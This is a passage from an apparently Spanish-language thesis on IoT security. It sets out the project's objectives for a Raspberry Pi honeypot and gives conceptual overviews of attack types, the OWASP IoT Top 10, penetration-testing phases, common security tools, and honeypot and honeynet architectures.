Dentro de los trabajos cientificos obtenidos en la fase de clasificacién no se obtuvo de

manera especifica evidencia de herramientas de seguridad informatica que funcionen con
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pocos recursos. Sin embargo, en las investigaciones se indicaba herramientas altamente
configurables y adaptables que cumplen con este principio. Por tal motivo algunas de las
soluciones se basan en mecanismos de deteccion de intrusiones como los IDS e IPS también
se abordan herramientas como honeypots, sniffers, firewalls, infraestructuras de clave publica

entre otras.

P4: ¢ Qué métodos y/o técnicas de intrusion estan afectando mas los entornos loT

en la actualidad?

En la actualidad las amenazas automatizadas han sido la principal causa de estudio por
parte de los investigadores. El uso de botnets para la ejecucién de ataques de denegacién de
servicios han puesto en alerta al entorno del internet de las cosas. También se encontraron
métodos de escaneo masivo por parte de bots creados por redes de delincuentes informaticos.
Como se aprecia las falencias en los sistemas 0T son aprovechadas principalmente por este
tipo de programas informaticos como son los bots. Las publicaciones cientificas indican que la
ejecucion de procesos automaticos como los escaneos a través de la red ayudan a los

delincuentes informaticos a detectar de manera mas eficiente entornos vulnerables.

Alcance

El presente trabajo propone abarcar temas de seguridad informatica sobre ecosistemas
IoT. En resumen, se analizara las vulnerabilidades mediante el uso de una Honeynet hibrida
como instrumento de deteccion de intrusos. De esta manera el administrador de red puede
identificar y tomar medidas ante posibles ataques a la red interna, mitigando el riesgo de usar a
los dispositivos 10T como agentes de ataque a redes informaticas. Cabe sefalar que los
honeypots que conforman esta Honeynet hibrida estan implementados sobre ordenadores de
diferentes prestaciones. Consecuentemente, resulta ventajoso al momento de la eleccion del
honeypot mas idéneo para la red en caso de que no se cuente con un capital elevado para el

despliegue de toda la solucién de seguridad propuesta. Al emplear una Raspberry Pi para la
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instalacion de uno de los Honeypots disminuye enormemente la complejidad del proyecto y
ofrece al usuario una solucién econémica. Pero se ofrece una solucién mas completa en caso
de contar con infraestructura con mejores prestaciones. La finalidad de este trabajo no es solo
entregar un sistema de seguridad de entornos 10T, ademas se pretende que el mismo sea

adaptable, escalable y costeable para cualquier entorno informatico.

Objetivos
General
Evaluar las vulnerabilidades de seguridad informatica en ecosistemas loT por medio de

un honeypot que simule un dispositivo inteligente para alertar y prevenir ataques en la red.

Especificos

e Investigar normativa y recomendaciones en el marco de seguridad informética y
seguridad para la Internet de las Cosas.

¢ |dentificar los principales ataques informaticos que se podria perpetrar a ecosistemas
del Internet de las Cosas.

o Desplegar un escenario de prueba donde el honeypot fisico pudiese detectar y recabar
informacion de las amenazas en una red loT.

¢ Implementar un honeypot fisico a través de una Raspberry Pi que simule un dispositivo
IoT para ser el objeto de un posible ataque informatico.

¢ Analizar los resultados que se obtienen con la integracion de un honeypot en un entorno

loT.
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Capitulo Il: Marco Conceptual
Vulnerabilidad
Existen distintas definiciones para referirse a una vulnerabilidad, la (ISO/IEC, 2013)
indica que una vulnerabilidad es una debilidad de un activo o control que puede ser explotada
por una o varias amenazas. También se puede indicar que una vulnerabilidad es la cualidad de

una red o infraestructura para ser comprometida negativamente por diferentes amenazas.

CVSS — Common Vulnerability Scoring System
Es un sistema de puntaje utilizado para estimar el impacto causado por las
vulnerabilidades identificadas dentro del campo de Tl. Permite cuantificar la severidad que

representan las vulnerabilidades, siendo uno de los estandares para la gestion de riesgos.

CVE - Common Vulnerabilities and Exposures

Corresponde a una lista de vulnerabilidades de seguridad registradas. En esta lista se
identifica, define y cataloga las vulnerabilidades divulgadas de manera publica. Las
vulnerabilidades y exposiciones comunes forman un catalogo de fallas de seguridad
informatica. Los CVE se encuentran supervisados por MITRE Corporation con la financiacion

del Departamento de Seguridad Nacional de los Estados Unidos. (Red Hat, 2020)

Amenaza
Es la propiedad de causar de una o diferentes maneras dafio sobre un activo. (ISO/IEC,
2013) define la amenaza como un motivo potencial de un suceso no deseado, mediante el cual

se puede originar dafio a una infraestructura o a una organizacion.

Exploit
Son programas o cédigos especialmente disefiados para explotar una vulnerabilidad
identificada o no de software, generalmente debido a fallas en el esquema de seguridad del

sistema atacado. De acuerdo con (AVG Technologies, 2020) son creados para apuntar
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debilidades concretas ya sea de un programa de software o un componente de hardware, los

exploits abarcan definiciones desde aplicaciones de software hasta sucesiones de comandos.

Payload

También denominado carga util, son partes de cédigo malicioso o repertorio de
instrucciones que se ejecutan para causar un dafio y explotar una vulnerabilidad en un sistema
victima. Estos codigos permiten realizar tareas como ejecucién de codigo remoto y apropiacion

de maguinas, conexiones a botnets, despliegue de malware, carga y descarga de archivos.

Clasificacion de Ataques
De acuerdo al Marco Técnico de Aseguramiento de la Informacién (IATF, por sus siglas
en inglés) los ataques de seguridad informatica estan clasificados en 5 categorias: pasivos,

activos, de proximidad, internos y de distribucion. (National Security Agency, 2002)

Ataques Pasivos

Este tipo de ataques suelen ser los mas dificiles de detectar debido a que el adversario
no interactla directamente con la maquina fisica. Consisten en interceptar, supervisar y
analizar el trafico de la red victima, recabando la mayor informacién posible de las maquinas
objetivos, sin alterar los datos interceptados. Con este tipo de ataque se puede obtener

informacioén sin autorizacién del propietario.

Algunos de los principales ejemplos de ataques pasivos son:

¢ Footprinting

e Sniffing

e Eavesdropping

¢ Descifrado de trafico con bajo nivel de cifrado
e Analisis del trafico de red

e Captura de credenciales transmitidas en texto claro
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Ataques Activos

Los atagques activos se caracterizan por malograr las caracteristicas de proteccion,
inyectar codigo malicioso, modificar e interrumpir informacién en transito y robar datos de
objetivos de una red. Aqui los ataques buscan penetrar e infectar una red victima y establecer
conexiones remotas para comprometer la seguridad informatica del sistema. Los ataques que
se ejecutan son mas propensos a ser detectados por una herramienta de seguridad debido a la

alta interaccion entre el atacante y el objetivo.

Algunos de los principales ejemplos de ataques activos son:

e Ataques de Denegacion de Servicio — DoS

e Elucion de mecanismos de proteccion

e Ataques de malware (Virus, gusanos, ransomware)
e Ataques de suplantacion

e Ataques de diccionario, fuerza bruta

e Ataques de intermediario

e Ataques de IDS y Firewall

e Ejecucion de cédigo arbitrario, etc.

Ataques de Proximidad

Se realizan cuando el atacante fisicamente se encuentra proximo al usuario o sistema
objetivo. Los ataques de proximidad se caracterizan por recoger la mayor cantidad de
informacién posible o quebrantar la seguridad de los accesos sean légicos o fisicos. Este tipo
de ataques se originan principalmente por una falencia de seguridad fisica en los métodos de
acceso al sistema. Algunos de los métodos empleados en este ataque se basan en ingenieria

social.
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Ataques Internos

Se originan por personas pertenecientes a la organizacion y con acceso a informacion
confidencial que intencionalmente espia, roba o dafia informacién con diferentes fines. Un
ataque interno puede saltarse gran cantidad de barreras de seguridad. Al contar con accesos
privilegiados los atacantes se vuelven sumamente peligrosos para la organizacion ya que
pueden afectar directamente a la confidencialidad, disponibilidad e integridad de los activos de

informacion.

Los ataques internos también pueden ser no maliciosos, sin embargo, igual de severos
gue los maliciosos. Un ataque interno no malicioso se puede producir por descuido, falta de
capacitacion o por acciones intencionales con fines no maliciosas del personal por cumplir con

las tareas encargadas.

Ataques de Distribucién

Suceden cuando los adversarios modifican ya sea el hardware o software antes de la
instalacion del mismo. Esta modificacién puede ocurrir desde su origen o cuando el mismo esta
en transito. Principalmente se apoyan de puertas traseras para ganar acceso sin la autorizacion
del usuario final, logrando introducirse a la red y comprometer la informacion de los elementos

de la misma.

OWASP Top 10 Internet of Things 2018

OWASP es un proyecto sin fines de lucro que trabaja para robustecer la seguridad del
software en diferentes ambitos. El proyecto de Internet de las Cosas de OWASP se disefié
especialmente para determinar los problemas de seguridad vinculados con el Internet de las
Cosas loT. Ayuda a los fabricantes, desarrolladores y usuarios finales a entender dichos
problemas. (OWASP Foundation, Inc., 2018) A continuacién de indican las 10 principales
practicas que se deben evitar al momento de construir, implementar o administrar ecosistemas

del Internet de las Cosas:



Tabla 5

OWASP Internet of Things Top 10
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OWASP loT Top 10

Descripcion

1. Contrasefas débiles,

predecibles o codificadas

Credenciales disponibles publicamente o no modificables
o empleo de credenciales de facil deduccion. Puertas
traseras en firmware o en el software del usuario que
permiten el acceso no autorizado al sistema

implementado.

2. Servicios de red inseguros

Servicios de red que se ejecutan en los dispositivos y
gue carecen de métodos robustos de seguridad para
exponerse a Internet. Comprometen la confidencialidad,
integridad y disponibilidad de la informacién o generan

puertas de acceso remoto.

3. Interfaces de ecosistemas

inseguros

Se generan debido a web inseguras, APl back-end, nube
o interfaces moviles con las cuales se administra los
dispositivos y comprometen la seguridad del ecosistema.
Los principales problemas es la carencia de
autenticacion, la falta de cifrado robusto y no contar con

un filtrado de paquetes de entrada y salida.

4. Carencia de mecanismos

de actualizacion seguros

No cuentan con una forma segura de actualizar el
dispositivo. No existe una notificacion de cambios de

seguridad por actualizaciones.

5. Utilizacién de
componentes inseguros u

obsoletos

Uso de componentes de software descontinuados e
inseguros que pueden hacer vulnerable al dispositivo y a

la red que los alberga.
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OWASP loT Top 10 Descripcion

Los dispositivos almacenan internamente o0 en sus
6. Falta o poca proteccion de
ecosistemas informacion personal del usuario de manera
privacidad
insegura, incorrecta e inclusive sin permiso.

7. Transferenciay No existe una encriptacion robusta y hay una falta de
almacenamiento de datos control de acceso a los datos en el ecosistema, a través

de manera insegura del ciclo de vida de los mismos.

Los dispositivos implementados en produccioén no

cuentan con soporte de seguridad. Incluyendo procesos
8. Carencia de gestion de
como la gestion de activos, actualizaciones,

dispositivos
desmantelamiento seguro, monitoreo y capacidad de
respuesta ante posibles intrusiones.
Los fabricantes entregan dispositivos con
9. Configuracién configuraciones predeterminadas de manera insegura.

predeterminada insegura  No permiten a los operadores modificar las

configuraciones de fabrica de los dispositivos 10T.

No existen medidas de refuerzo fisico sobre los
10. Falta de robustecimiento
dispositivos, facilitando la exfiltracion de informacion por
fisico en los dispositivos
parte de atacantes.

Nota. Datos obtenidos de la matriz de riesgo para el Internet de las Cosas. Tomado de OWASP

Internet of Things, por OWASP Foundation Inc, 2018.

Denegacion de Servicio DoS
El principal objetivo de este tipo de ataque es inhabilitar a los usuarios de servicios a los

gue normalmente tienen acceso. Estos ataques se dirigen a un objetivo especifico para
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saturarlos de una gran cantidad de peticiones falsas, provocando que el servicio no funcione de
manera correcta y rechazando inclusive las peticiones legitimas. (Wang & Kissel, 2015) Este
ataque se puede generar desde una simple computadora o incluso formar un grupo mas
grande de computadoras distribuidas en el Internet. Si el ataque de denegacion de servicio se
realiza de manera conjunta desde varios computadores a un mismo objetivo se trata de un

ataque de denegacion de servicio distribuido (DDoS, por sus siglas en inglés).

Figura 11

Esquema General de un ataque de Denegacion de Servicio (DoS)
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Nota. La figura indica el esquema de un ataque DoS. Tomado de Ethical Hacking Essentials,

por EC-Council, 2021.

Botnets

Un bot es un sistema comprometido por un ciberdelincuente el cual tiene control sobre
este a través de Internet. La botnet es el conjunto o red de sistemas controlados con la finalidad
de realizar un ataque de denegacion de servicio o el envio masivo de spam sobre objetivos
definidos por los atacantes. La gran mayoria de botnets se forman a partir de malware como
troyanos ocultos en software aparentemente correcto. (Escrivd, Romero, Ramada, & Onrubia,

2013)
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Ataque de Diccionario

Es una técnica de descubrimiento de contrasefias en la que el atacante emplea un
diccionario para ir probando todas las palabras que contiene el mismo. Generalmente las
palabras que contiene este diccionario recaban las principales contrasefias utilizadas de
manera determinada por los fabricantes de equipos y sistemas operativos. Este tipo de ataques
es mas efectivo que uno de fuerza bruta. Una estrategia para contrarrestar estos ataques es
configurar una contrasefia compuesta por mayusculas, minlsculas, nUmeros y caracteres
especiales. Los ataques de diccionario son poco efectivos con contrasefias robustas ya que
debido a la complejidad no suelen ser incluidas en los diccionarios. Una desventaja es el
tamarno que ocupan estos diccionarios ya que dependiendo de la cantidad de palabras el

tamafio aumenta. (Chicano, 2015)

Inyeccién SQL

Este ataque consiste en emplear el lenguaje de consulta estructurado SQL con el fin de
realizar consultas concatenadas a las bases de datos de los servidores objetivos. Se puede
inyectar scripts malintencionados simples hasta secuencias de comandos mas complejas que
permiten la interaccion con el sistema operativo. El atacante busca obtener acceso a la base de
datos sin autorizacién alguna, para obtener informacién sensible de esta. (Arroyo, Gayoso, &

Hernandez, 2020)

Tipos de Auditoria de Seguridad Informatica
CajaBlanca

En la auditoria de caja blanca la organizacion provee informacion especifica del ataque
a realizarse o el objetivo que se requiere evaluar. La informacién que se entrega al auditor
corresponde a topologias de red, informacién de valoracién e inclusive informacién de
ubicacion fisica del objetivo. El auditor cuenta con toda la informacién necesaria para llevar a

cabo la evaluacién de seguridad del sistema o aplicacion.
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Caja Gris

Consiste en otorgarle al auditor un rol de empleado sin privilegios o incluirlo dentro de la
red como invitado. El auditor se comporta como un insider malintencionado para comprobar la
seguridad de las aplicaciones de la organizacion auditada. El auditor al encontrarse en la
misma red de los empleados puede verificar la conectividad con otros equipos de red y obtener
informacion de la red interna. El objetivo mas comun de este tipo de auditoria es encontrar

vulnerabilidades y escalar privilegios a partir de un rol de empleado comun.

Caja Negra

Es la auditoria mas completa y complicada que existe debido a que sitda al auditor
como un agente externo. Consecuentemente el auditor no cuenta con ningiin conocimiento
interno de la organizacion o su infraestructura de red. El principal objetivo es evaluar el nivel de
seguridad de la organizacion y determinar hasta qué nivel puede llegar un atacante externo y el
nivel de dafio que este podria provocar a la compafiia. Esta auditoria minimiza los falsos

positivos, pero para ejecutarla se debe contar con un personal altamente capacitado.

Fases de una Prueba de Penetracion en Seguridad Informatica

Normalmente se emplea una metodologia ordenada para determinar todas las
vulnerabilidades de las redes auditadas. Inicialmente se crea un proyecto donde se ubica el
espacio de trabajo y se almacenan datos. El espacio dependera de la cantidad de redes y

subredes a auditar.

Fase de Pre-Ataque

Information Gathering. Es la primera fase donde se recolecta toda la informacién
publica disponible. Conocida de igual manera como Footprinting. En esta fase se emplean un
conjunto de métodos y procesos donde los auditores recogen informacién relevante de los

objetivos mediante fuentes abiertas en Internet. (Wren, Reilly, & Berry, 2010) Mediante el
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empleo de diferentes herramientas de auditoria de seguridad se puede conseguir informacion

til para desarrollar las siguientes fases de manera eficaz, algunas de estas herramientas son:

e Google hacking: Mediante sentencias avanzadas en el motor de busqueda de Google
se puede acceder a informacion sensible o Gtil de organizaciones que no tengan
asegurada 6ptimamente su informacion.

e Bing hacking: De manera analoga que Google hacking solo que utilizando estas
sentencias en Bing.

¢ Shodan: Es un motor de busquedas de dispositivos, activos y servidores conectados a
Internet con una mala configuracion y puertos abiertos. Se puede detectar dispositivos
por region y por servicios expuestos.

e FOCA: Herramienta con funcionalidades de examinacion de metadatos.

En una auditoria interna esta fase no es de relevancia y se la realiza de manera
superficial debido a que la informacion interna generalmente no se encuentra filtrada por
Internet. En las auditorias de seguridad web y perimetral si es de gran importancia ya que al
tratarse de auditorias de caja negra toda la informacion recabada del objetivo es de suma

utilidad.

Fingerprinting. Consiste en el proceso de recolectar informacién més especifica sobre
los objetivos descubiertos y analizados en la fase de footprinting. En base a la informacion
recolectada se procede a encontrar vulnerabilidades propias de los sistemas objetivos. Entre la

informacion mas relevante que se puede obtener de este proceso seria:

¢ Sistema operativo de ordenadores remotos.
e Recoleccion de elementos de proteccidn presentes entre el auditor y el elemento de red
objetivo, como Firewalls, IDS, IPS, etc.

e Puertos y servicios abiertos en los sistemas.
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e Versiones de software de los servicios que se ejecutan sobre los puertos abiertos.

Existen dos tipos de fingerprinting, el pasivo y el activo. El fingerprinting pasivo emplea
herramientas que son configuradas con la finalidad de analizar y escuchar el trafico en una red,
con el fin de identificar ordenadores y servicios expuestos sin interactuar directamente con
estos. En el fingerprinting activo las herramientas empleadas provocan una interaccion directa

entre la maquina del auditor y el objetivo, generando una respuesta por parte de este ultimo.

Anélisis de vulnerabilidades. En este paso se analizan todas las vulnerabilidades
encontradas en los procesos de fingerprinting. A través de herramientas con bases de datos de
vulnerabilidades se determina los exploits pertinentes para cada servicio expuesto en la
maquina objetivo. La finalidad es seleccionar los procesos y herramientas mas apropiadas a
emplearse en las siguientes fases de la auditoria. A nivel de vulnerabilidades de red y web las

principales herramientas son:

e Nessus
e BurpSuite

e |IBM Security QRadar

e Qualys

Fase de Ataque

Explotacién de vulnerabilidades. En esta fase se emplean las herramientas y
procesos determinados en fases anteriores para explotar las vulnerabilidades encontradas en
los hosts objetivos. A través de frameworks como Metasploit se puede realizar diferentes tipos

de explotacioén, algunas se listan a continuacion:

e Escalamiento de privilegios a través de una explotacion local de vulnerabilidades.
¢ Creacion de sesiones remotas con conectividad directa entre la maquina objetivo y el

auditor.
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Explotacion con ataques Client-Side.

Instalacion de backdoors para mantener la conexion sin conocimiento del administrador
de la red objetivo.

Carga de payloads.

Ataques de denegacion de servicio.

Ataques de desbordamiento de buffer.

Ataques de hombre en el medio (Men in the Middle Attack).

Carga y transferencia de archivos con informacién sensible.

Fase de Post-Ataque

Generacion de Informes. Finalmente, en todo proceso de auditoria se debe

documentar adecuadamente todos los hallazgos y los resultados obtenidos. Generalmente se

presentan dos tipos de informes:

El informe ejecutivo destinado a todas las lineas de negocio pertinentes y responsables
de los procesos vulnerables encontrados, con los hallazgos a alto nivel y
recomendacién de mitigacion de riesgos de ser el caso.

El informe técnico donde se indica la metodologia empleada y datos mas precisos del
alcance de la auditoria. Se entrega informacion relevante de los sistemas vulnerables y
estd dirigido a personal técnico de la compafia auditada.

Dependiendo del alcance de la auditoria contratada, también se suele entregar una
carta de indicaciones donde se exponen las principales falencias y los puntos a mejorar

a alto nivel por parte de la compafiia.
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Figura 12

Fases de una prueba de penetracién de seguridad informatica
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Nota. La figura representa las fases de una prueba de penetracion de seguridad informatica.

Tomado de Metasploit, por Rapid7 Inc, 2022.

Nmap

Es una herramienta de analisis de red, servicios y puertos, especialmente util para
evaluar la seguridad de los sistemas informaticos. Nmap emplea paquetes de IP sin procesar
para diagnosticar que host se encuentran habilitados en la red, los servicios que prestan estos
hosts indicando nombre y versién de la aplicacion, que sistemas operativos y la version del
mismo se encuentran corriendo, el tipo de filtros de paquetes/firewall en uso, etc. (Gordon

Lyon, 2022)

Entre las funcionalidades y ventajas principales de Nmap se encuentran las siguientes:

e Acepta varias técnicas avanzadas para identificar sistemas llenos de filtros IP, firewalls,
routers y otros obstaculos. Permite la deteccion de sistemas operativos, versiones,

barridos de peticiones ping, asi como escaneos de puertos en TCP y UDP.
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Se puede auditar redes de gran cantidad de maquinas, que albergan miles de
elementos.

Ofrece una amplia gama de comandos y conjuntos avanzados para auditorias de red,
ademas se puede emplear lineas de comando tradicionales y béasicas para su
funcionamiento.

Existe una gran variedad de manuales, documentos técnicos, tutoriales y libros
actualizados para el uso de la herramienta.

Es software open source y se encuentra disponible para la mayoria de sistemas
operativos ya que la herramienta es compatible. Se puede utilizar por lineas de

comandos o por interfaz gréfica.

Metasploit

Es una herramienta de validacion y explotacién de vulnerabilidades en sistemas

informaticos. Permite realizar auditorias y pruebas de penetracién con ayuda de un flujo de

trabajo configurable de acuerdo a las necesidades del auditor. (Rapid7 Inc, 2022) Mestasploit

es un proyecto open source que alberga mas de 900 exploits distintos. Entre las

funcionalidades principales se pueden destacar las siguientes:

Permite realizar un escaneo de descubrimiento para recabar informacion, ademas de
admitir la importacion de datos existentes de redes previamente auditadas.

Mediante herramientas integradas como Nmap se puede identificar sistemas activos con
servicios, descubriendo las posibles fallas sobre el objetivo escaneado.

Permite la visualizacién y administracién de los datos del host objetivo mediante vistas a
alto nivel de los elementos de red incorporados en el proyecto.

Admite la ejecucion de un andlisis de vulnerabilidades para determinar las diferentes

debilidades de seguridad que la herramienta puede aprovechar y explotar. Expone las
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vulnerabilidades detectadas en el host y publicadas en la lista de informacion de
vulnerabilidades de ciberseguridad CVE.

¢ Explota las vulnerabilidades conocidas mediante la ejecucion de exploits especialmente
disefiados para los fallos identificados. Con una explotacion exitosa se consigue acceso
a los sistemas objetivos y se puede obtener informacion Gtil como hashes y archivos con
informacion sensible.

¢ Posibilita instalar puertas traseras mediante el médulo de payloads. Ademas, se puede
realizar la técnica de fuzzing para diagnosticar las fallas de un sistema o programa en
materia de seguridad.

e Metasploit incorpora herramientas y métodos para eliminar las huellas producidas en

una prueba de penetracion.

Hping3

Es una herramienta que permite el andlisis y envio de paquetes personalizados ICMP,
TCP o UDP. Funciona de manera similar como una peticion ping con respuestas ICMP.
Posibilita el disefio de paquetes manipulando el cuerpo, tamafio y velocidad de transmision de
los mismos. Permite realizar distintas pruebas de deteccién sobre Firewallas, IDS (Intrusion
Detection System), determina el rendimiento de la red con el uso de diferentes protocolos y
genera la ruta del paquete enviado a través de su funcion avanzada de traceroute. Hping3 se
maneja a través de linea de comandos y cuenta con pardmetros avanzados para todas sus

distintas funcionalidades. (OffSec Services Limited, 2022)

Raspberry Pi

Es una computadora de placa reducida de bajo costo, al igual que una computadora de
escritorio puede hacer uso de hojas de calculo, procesadores de texto y soportar diferentes
sistemas operativos desarrollados especificamente para este modelo de ordenadores. (L6pez,

2017) La Raspberry Pi emplea un microprocesador con arquitectura ARM, una GPU o tarjeta
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gréfica y una memoria RAM en un solo chip, lo que indica que es un sistema SoC (System on a
Chip). Existen diferentes configuraciones de RAM a la hora de adquirir el ordenador, partiendo
de una configuracién de 1GB hasta una de 8GB para la Raspberry Pi 4 modelo B. La placa no
incluye un sistema de almacenamiento por lo que se debe hacer uso de una unidad de
almacenamiento externa como una tarjeta SD. La placa dispone de diferentes conectores para
su utilizacion, el modelo B de la Raspberry Pi 4 dispone de una ranura de tarjetas SD, un
puerto USB-C para la alimentacioén, 2 puertos micro HDMI con soporte para monitores 4K, un

conector Gigabit Ethernet, cuatro puertos USB dos 2.0 y dos 3.0 respectivamente.

Figura 13

Componentes de una Raspberry Pi
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Nota. En la figura se aprecia la composicion de una Raspberry Pi. Tomado de Raspberry Pi,

More powerful
processor

por Raspberry Pi Foundation, 2022.

Internet de las Cosas

El Internet de las Cosas engloba todo tipo de ecosistemas que albergan objetos,
artefactos, ordenadores, equipos médicos, etc., que en su estructura tengan incorporados
componentes electrénicos, software y sensores con los cuales pueda obtener informacion
constante de sus entornos y puedan transferir hacia otros sistemas o dispositivos de ser

necesario. (Arroyo, Gayoso, & Hernandez, 2020)
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Honeypot

Los honeypot o sefiuelos son un recurso de seguridad utilizado como trampa para
atraer a los delincuentes informéaticos. Es una computadora disefiada de manera intencionada
con vulnerabilidades para motivar al posible atacante y que este explote las fallas. EI honeypot
esta disefiado de tal manera que captura informacion de relevancia de los ataques recibidos.
Usualmente el sefiuelo simula sistemas que albergan informacion confidencial o critica y que
pueden ser ventajosas para los ciberdelincuentes. (Buchanan, Prasad, Chandramouli, &

Benslimane, 2021)

Algunas de las razones para la implementacion de un honeypot como solucién de

seguridad pueden ser:

e Permite identificar y estudiar las vulnerabilidades del propio sistema, esto si el honeypot
es una copia del sistema real.

e Captura de diversos exploits realizados por los atacantes.

e Se puede desarrollar y comprobar las defensas contra exploits incluso antes de
implementar en un sistema real.

e Permite crear un programa de inteligencia de amenazas y estudiar los diferentes
eventos registrados por el honeypot.

e Detecta ataques internos si es que el honeypot se coloca de manera estratégica en la

red interna.

Un sefiuelo permite la interaccion con el adversario a diferentes niveles. Puede
colocarse en diferentes partes de la red, dentro de la LAN, detras de un router o detras de un
Firewall. Dependiendo de su ubicacién se puede obtener un registro de operaciones completo
del router o Firewall, detallando las pruebas realizadas por el cibercriminal y los puertos

atacados. (Diaz, Alzérriz, Sancristobal, & Castro, 2014)
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Para hacer mas atractivo al honeypot, se debe configurar un nombre de interés y
llamativo que insinta contener informacién valiosa de una organizacion. Se debe configurar

adecuadamente para que el registro de logs no sea accesible para el atacante.

Tipos de Honeypot
Honeypot de produccién

Son soluciones de seguridad que se colocan en arquitecturas de red en produccion para
encontrar vulnerabilidades o ataques internos que se presenten en el ecosistema. La principal
razon de la implementacion de estos sefiuelos es desviar la atencion de los atacantes de
sistemas realmente criticos. Con la exposicién de servicios intencionalmente vulnerables se
puede detener y contrarrestar el accionar del adversario o tomar acciones para evitar la

paralizacién de las actividades cotidianas de la red de produccién y no afectar al negocio.

Honeypot de investigacion

Se disefian para ser atacados y asi poder estudiar el comportamiento de los atacantes.
Son sefiuelos de alta interaccion que generalmente se sitlan dentro de una red aislada y son
expuestos a internet con el objetivo de contener las amenazas en el honeypot. Emulan
sistemas operativos de organizaciones de alto perfil como departamentos gubernamentales,
militares o empresas de alto renombre para atraer la mayor cantidad de atacantes.
Principalmente son desarrollados e implementados por centros de investigacion académicos,

compafiias de seguridad privadas y organizaciones gubernamentales de defensa.

Honeypot de baja interaccion

Son sefiuelos que proporcionan funcionalidades basicas, por tal motivo son sencillos de
instalar y configurar. Los honeypots de baja interaccién emulan una cantidad limitada de
servicios con los cuales el atacante puede interactuar. Al no ser honeypots tan sofisticados
necesitan menos prestaciones de hardware para funcionar. El principal valor de estos

honeypots es que sirven para detectar escaneos de puertos e intentos no autorizados de



64

conexion desde IPs extranas. (Diaz, Alzorriz, Sancristébal, & Castro, 2014) La informacion
capturada por los honeypots es limitada ya que solo estan disefiados para registrar

comportamientos conocidos y no para descubrir nuevas técnicas o procedimientos de intrusion.

Honeypot de interaccion media

Son sistemas trampa que estan disefiados para tener una mayor interaccion con el
atacante sin llegar al nivel de los honeypots de alta interaccion. Pueden simular el
comportamiento de algunos de los principales servicios y vulnerabilidades conocidas. Estan
configurados para capturar mas informacion de las técnicas y herramientas utilizadas por el
adversario. Incluso se puede obtener el cédigo utilizado, el procedimiento de acceso y
elevacion de privilegios que empled el atacante. Al simular partes de sistemas o subsistemas
de manera realista persuaden al atacante para que piense que se encuentra en un servidor de

alta importancia.

Honeypot de alta interaccion

Este tipo de sefiuelos proporcionan caracteristicas mas complejas y una mayor
interaccion con el atacante. Permite exponer un sistema real con diversas aplicaciones
vulnerables para la interaccion directa con el adversario. Por tal motivo los honeypots de alta
interaccion representan un mayor riesgo cuando es implementado en un entorno de
produccion. La mala configuracion o supervision de esta clase de honeypots genera riesgos a
la red que los alberga. Los atacantes pueden usar este sistema como un nuevo agente
malicioso para infectar o realizar ataques a otros sistemas de utilidad. A diferencia de sistemas
reales convencionales, los honeypots de alta interaccién no almacenan informacion relevante o

sensible ya que estéan disefiados para ser comprometidos.

Honeynet
Es una arquitectura de seguridad sofisticada compuesta por dos 0 mas honeypots. Esta

disefiada para registrar informacion de ataques que se realicen a los diferentes sensores que la
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componen. Es una solucién avanzada que puede ser integrada con otras herramientas de
seguridad como Firewalls, sistemas de deteccion de intrusiones (IDS, por sus siglas en inglés)
e incluso sistemas de gestion de eventos y seguridad informatica (SIEM, por sus siglas del

inglés) para relacionar los eventos registrados por los diferentes honeypots.

La honeynet es una arquitectura administrable y cuenta con un servidor centralizado
para administrar cada sensor que la integra. Es una red completa compuesta por diferentes
sistemas trampas disefiados para ser atacados. Dependiendo de la configuracion de la
honeynet se puede replicar redes completas emulando la de cualquier organizacion. Esta
solucioén cuenta con herramientas que permiten detectar y filtrar el trafico entrante. Determina
los puertos, servicios y honeypots mas atacados, todo de manera pasiva para que el adversario

no note que esta siendo supervisado.

Entre las principales funciones de la honeynet se detallan las siguientes.

e Control del adversario. Se debe contener los ataques realizados sobre la arquitectura
del honeypot dentro de este. Se controla que las conexiones realizadas por el atacante
repercutan solo sobre equipos de la honeynet.

e Registro de datos. Debe estar configurada para recolectar la mayor cantidad de datos e
informacion de los ataques como sea posible. Esto con el fin de poder procesar estos
datos y estudiarlos para fortalecer las redes y sistemas reales.

e Centralizacion de informacién. Para gestionar de mejor manera la informacién capturada
por los distintos honeypots se debe disponer de un servidor centralizado de
almacenamiento. Con esto se logra un registro mas ordenado y se puede interrelacionar

los eventos de cada sefiuelo.
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Tipos de Honeynets
Honeynet de Primera Generacion

La primera generacion de Honeynets se identifica por implementar mecanismos
esenciales de control de flujo de datos y registro de datos. Fisicamente esta generacion es
representada mediante una arquitectura de tres subredes conformadas por la Honeynet, la red
de produccion y la Internet todas separadas por un Firewall. El trabajo de control del adversario
se realiza con ayuda del Firewall y el router. El Firewall filtra todos los paquetes entrantes o
salientes de la red y segmenta la red, separando los honeypots del servidor de logs y el
sistema de deteccidn de intrusiones. La Honeynet junto al Firewall estan configurados para
permitir cualquier intento de conexion desde internet hacia los honeypots. Para ello se debe
establecer un umbral de conexiones con el objetivo de bloguear las conexiones desde internet

después de superar el mismo. (Gallego & Lépez, 2004)

Figura 14

Arquitectura general de una honeynet de primera generacion
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Nota. La figura muestra la arquitectura de una honeynet de primera generacion. Tomado de

Honeynets: Aprendiendo del Atacante, por Gallego & Lépez, 2004.
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El router se coloca con la finalidad de ofuscar la presencia del Firewall con respecto a la
red de honeypots, asi el intruso al realizar una busqueda del Gateway del sistema
comprometido se encontrara con un router y no con el Firewall. La principal desventaja de este
tipo de soluciones es que tiene una gran limitacion con el control del adversario. Ya que si se
permite un cierto umbral de conexiones pueden que todas de estas se consumen en un ataque

exitoso y las medidas de contencion implementadas no sirvan.

Honeynet de Segunda Generacion

A diferencia de la generacion anterior, la Honeynet de segunda generaciéon combina el
control del adversario, el registro de datos y la recoleccion de informacién en una Unica entidad,
facilitando su implementacion y administraciéon. También acufiado Honeywall, este es un
dispositivo de capa 2 que tiene la posibilidad de transmitir paquetes tipo puente. Esta cualidad
permite que envie los paquetes de extremo a extremo. Este dispositivo no genera ningun tipo

de tréfico lo cual es beneficioso en caso de que el atacante quiera observar.

Figura 15

Arquitectura general de una honeynet de segunda generacion
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Nota. La figura muestra la arquitectura de una honeynet de segunda generaciéon. Tomado de

Honeynets: Aprendiendo del Atacante, por Gallego & L6pez, 2004.
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Honeynet de Tercera Generacién

Mantiene la misma arquitectura y caracteristicas que la Honeynet de segunda
generacion con la mejora en el apartado de registro de datos. Se implementan herramientas
para catalogar de mejor manera eventos registrados por los honeypots. En esta generacion se
combinan los datos generados por las herramientas de registro de datos, permitiendo
determinar la trazabilidad de las conexiones realizadas por los atacantes desde el

administrador de honeypots.

Dentro del Honeywall se despliega informacién segmentada de cada uno de los

sensores, donde se reflejan datos capturados relevantes y estadisticas de conexiones.

Honeynet Virtual Autocontenida

